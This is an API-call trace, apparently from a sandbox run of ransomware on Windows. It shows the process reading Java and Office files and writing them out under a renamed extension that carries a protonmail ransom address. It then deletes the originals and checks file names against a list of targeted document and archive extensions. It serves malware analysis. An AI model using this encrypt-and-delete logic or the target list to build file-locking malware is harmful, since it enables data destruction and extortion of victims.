	[0164.980] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.980] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0164.982] GetLastError () returned 0x0
	[0164.982] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x20d0, lpOverlapped=0x0) returned 1
	[0164.984] WriteFile (in: hFile=0x480, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x20e0, lpOverlapped=0x0) returned 1
	[0164.985] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.985] WriteFile (in: hFile=0x480, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xe8, lpOverlapped=0x0) returned 1
	[0164.985] SetEndOfFile (hFile=0x480) returned 1
	[0164.985] CloseHandle (hObject=0x480) returned 1
	[0164.985] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.985] SetEndOfFile (hFile=0x484) returned 1
	[0165.068] CloseHandle (hObject=0x484) returned 1
	[0165.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0165.085] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1
	[0165.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.091] lstrlenW (lpString=".doc") returned 4
	[0165.091] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0165.091] lstrlenW (lpString=".docx") returned 5
	[0165.091] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0165.091] lstrlenW (lpString=".pdf") returned 4
	[0165.091] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0165.091] lstrlenW (lpString=".xls") returned 4
	[0165.091] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0165.091] lstrlenW (lpString=".xlsx") returned 5
	[0165.092] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0165.092] lstrlenW (lpString=".ppt") returned 4
	[0165.092] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.092] lstrlenW (lpString=".zip") returned 4
	[0165.092] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString=".rar") returned 4
	[0165.092] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString=".bz2") returned 4
	[0165.092] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString=".7z") returned 3
	[0165.092] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0165.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.092] lstrlenW (lpString=".dbf") returned 4
	[0165.092] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.092] lstrlenW (lpString=".1cd") returned 4
	[0165.092] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.092] lstrlenW (lpString=".jpg") returned 4
	[0165.092] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0165.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.092] lstrlenW (lpString=".doc") returned 4
	[0165.092] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString=".docx") returned 5
	[0165.093] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0165.093] lstrlenW (lpString=".pdf") returned 4
	[0165.093] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString=".xls") returned 4
	[0165.093] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString=".xlsx") returned 5
	[0165.093] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0165.093] lstrlenW (lpString=".ppt") returned 4
	[0165.093] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.093] lstrlenW (lpString=".zip") returned 4
	[0165.093] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString=".rar") returned 4
	[0165.093] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString=".bz2") returned 4
	[0165.093] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString=".7z") returned 3
	[0165.093] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0165.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.093] lstrlenW (lpString=".dbf") returned 4
	[0165.093] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.093] lstrlenW (lpString=".1cd") returned 4
	[0165.093] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0165.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0165.093] lstrlenW (lpString=".jpg") returned 4
	[0165.093] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0165.094] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.094] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0165.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.101] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=18624) returned 1
	[0165.101] CloseHandle (hObject=0x484) returned 1
	[0165.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0165.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.102] lstrlenW (lpString=".doc") returned 4
	[0165.102] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.102] lstrlenW (lpString=".docx") returned 5
	[0165.102] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.102] lstrlenW (lpString=".pdf") returned 4
	[0165.102] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.102] lstrlenW (lpString=".xls") returned 4
	[0165.102] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.102] lstrlenW (lpString=".xlsx") returned 5
	[0165.102] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.102] lstrlenW (lpString=".ppt") returned 4
	[0165.102] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.102] lstrlenW (lpString=".zip") returned 4
	[0165.102] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.103] lstrlenW (lpString=".rar") returned 4
	[0165.103] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.103] lstrlenW (lpString=".bz2") returned 4
	[0165.103] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.103] lstrlenW (lpString=".7z") returned 3
	[0165.103] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.103] lstrlenW (lpString=".dbf") returned 4
	[0165.103] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.103] lstrlenW (lpString=".1cd") returned 4
	[0165.103] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.103] lstrlenW (lpString=".jpg") returned 4
	[0165.103] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.103] lstrlenW (lpString=".doc") returned 4
	[0165.103] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.103] lstrlenW (lpString=".docx") returned 5
	[0165.103] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.103] lstrlenW (lpString=".pdf") returned 4
	[0165.103] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.103] lstrlenW (lpString=".xls") returned 4
	[0165.103] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.103] lstrlenW (lpString=".xlsx") returned 5
	[0165.103] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.103] lstrlenW (lpString=".ppt") returned 4
	[0165.104] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.104] lstrlenW (lpString=".zip") returned 4
	[0165.104] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.104] lstrlenW (lpString=".rar") returned 4
	[0165.104] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.104] lstrlenW (lpString=".bz2") returned 4
	[0165.104] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.104] lstrlenW (lpString=".7z") returned 3
	[0165.104] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.104] lstrlenW (lpString=".dbf") returned 4
	[0165.104] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.104] lstrlenW (lpString=".1cd") returned 4
	[0165.104] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0165.104] lstrlenW (lpString=".jpg") returned 4
	[0165.104] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.104] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.104] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0165.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.106] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=18624) returned 1
	[0165.106] CloseHandle (hObject=0x484) returned 1
	[0165.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0165.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.107] lstrlenW (lpString=".doc") returned 4
	[0165.107] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.107] lstrlenW (lpString=".docx") returned 5
	[0165.107] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.107] lstrlenW (lpString=".pdf") returned 4
	[0165.107] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.107] lstrlenW (lpString=".xls") returned 4
	[0165.107] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.107] lstrlenW (lpString=".xlsx") returned 5
	[0165.107] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.107] lstrlenW (lpString=".ppt") returned 4
	[0165.107] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.107] lstrlenW (lpString=".zip") returned 4
	[0165.107] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.107] lstrlenW (lpString=".rar") returned 4
	[0165.107] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.107] lstrlenW (lpString=".bz2") returned 4
	[0165.107] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.107] lstrlenW (lpString=".7z") returned 3
	[0165.107] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.108] lstrlenW (lpString=".dbf") returned 4
	[0165.108] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.108] lstrlenW (lpString=".1cd") returned 4
	[0165.108] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.108] lstrlenW (lpString=".jpg") returned 4
	[0165.108] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.108] lstrlenW (lpString=".doc") returned 4
	[0165.108] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.108] lstrlenW (lpString=".docx") returned 5
	[0165.108] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.108] lstrlenW (lpString=".pdf") returned 4
	[0165.108] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.108] lstrlenW (lpString=".xls") returned 4
	[0165.108] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.108] lstrlenW (lpString=".xlsx") returned 5
	[0165.108] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.108] lstrlenW (lpString=".ppt") returned 4
	[0165.108] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.108] lstrlenW (lpString=".zip") returned 4
	[0165.108] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.108] lstrlenW (lpString=".rar") returned 4
	[0165.109] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.109] lstrlenW (lpString=".bz2") returned 4
	[0165.109] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.109] lstrlenW (lpString=".7z") returned 3
	[0165.109] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.109] lstrlenW (lpString=".dbf") returned 4
	[0165.109] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.109] lstrlenW (lpString=".1cd") returned 4
	[0165.109] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0165.109] lstrlenW (lpString=".jpg") returned 4
	[0165.109] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.109] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.109] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0165.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.110] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=21184) returned 1
	[0165.110] CloseHandle (hObject=0x484) returned 1
	[0165.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0165.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.111] lstrlenW (lpString=".doc") returned 4
	[0165.111] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.111] lstrlenW (lpString=".docx") returned 5
	[0165.111] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.111] lstrlenW (lpString=".pdf") returned 4
	[0165.111] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.111] lstrlenW (lpString=".xls") returned 4
	[0165.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.111] lstrlenW (lpString=".xlsx") returned 5
	[0165.111] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.111] lstrlenW (lpString=".ppt") returned 4
	[0165.111] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.111] lstrlenW (lpString=".zip") returned 4
	[0165.111] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.112] lstrlenW (lpString=".rar") returned 4
	[0165.112] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.112] lstrlenW (lpString=".bz2") returned 4
	[0165.112] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.112] lstrlenW (lpString=".7z") returned 3
	[0165.112] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.112] lstrlenW (lpString=".dbf") returned 4
	[0165.112] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.112] lstrlenW (lpString=".1cd") returned 4
	[0165.112] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.112] lstrlenW (lpString=".jpg") returned 4
	[0165.112] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.112] lstrlenW (lpString=".doc") returned 4
	[0165.112] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.112] lstrlenW (lpString=".docx") returned 5
	[0165.112] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.112] lstrlenW (lpString=".pdf") returned 4
	[0165.112] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.112] lstrlenW (lpString=".xls") returned 4
	[0165.112] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.112] lstrlenW (lpString=".xlsx") returned 5
	[0165.112] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.112] lstrlenW (lpString=".ppt") returned 4
	[0165.112] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.113] lstrlenW (lpString=".zip") returned 4
	[0165.113] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.113] lstrlenW (lpString=".rar") returned 4
	[0165.113] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.113] lstrlenW (lpString=".bz2") returned 4
	[0165.113] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.113] lstrlenW (lpString=".7z") returned 3
	[0165.113] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.113] lstrlenW (lpString=".dbf") returned 4
	[0165.113] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.113] lstrlenW (lpString=".1cd") returned 4
	[0165.113] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0165.113] lstrlenW (lpString=".jpg") returned 4
	[0165.113] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.113] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.113] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0165.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.115] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19136) returned 1
	[0165.115] CloseHandle (hObject=0x484) returned 1
	[0165.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
